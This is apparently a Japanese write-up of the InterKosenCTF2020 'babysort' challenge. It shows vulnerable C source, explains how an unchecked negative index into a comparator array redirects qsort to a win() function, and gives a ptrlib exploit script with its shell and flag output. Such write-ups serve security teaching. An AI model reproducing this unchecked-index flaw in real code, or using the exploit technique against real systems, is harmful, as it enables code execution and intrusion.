###### tags: `InterKosenCTF2020`
# [InterKosenCTF] babysort
ソースコードとバイナリが渡される。
```clang=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
typedef int (*SORTFUNC)(const void*, const void*);
typedef struct {
long elm[5];
SORTFUNC cmp[2];
} SortExperiment;
/* call me! */
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
}
int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; }
int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; }
int main(void) {
SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}};
int i;
/* input numbers */
puts("-*-*- Sort Experiment -*-*-");
for(i = 0; i < 5; i++) {
printf("elm[%d] = ", i);
if (scanf("%ld", &se.elm[i]) != 1) exit(1);
}
/* sort */
printf("[0] Ascending / [1] Descending: ");
if (scanf("%d", &i) != 1) exit(1);
qsort(se.elm, 5, sizeof(long), se.cmp[i]);
/* output result */
puts("Result:");
for(i = 0; i < 5; i++) {
printf("elm[%d] = %ld\n", i, se.elm[i]);
}
return 0;
}
__attribute__((constructor))
void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(300);
}
```
5つの値を降順、昇順でソートしてくれる。
降順、昇順の選択で、負数`-1`の入力ができ、`qsort`が呼ぶアドレスを配列の値にすることができる。
```
| elm[0] |
| elm[1] |
| elm[2] |
| elm[3] |
| elm[4] | <-- cmp[-1]
| cmp[0] |
| cmp[1] |
```
```python=
from ptrlib import *
sock = Socket("localhost", 9001)
elf = ELF("./chall")
for i in range(4):
sock.sendlineafter(" = ", str(i))
sock.sendlineafter(" = ", str(elf.symbol("win")))
sock.sendlineafter("[1] Descending: ", str(-1))
sock.interactive()
```
```
$ python3 solver.py
[+] __init__: Successfully connected to localhost:9001
[ptrlib]$
[ptrlib]$ ls
chall
flag-165fa1768a33599b04fbb4f7a05d0d26.txt
redir.sh
[ptrlib]$ cat flag*
KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}
```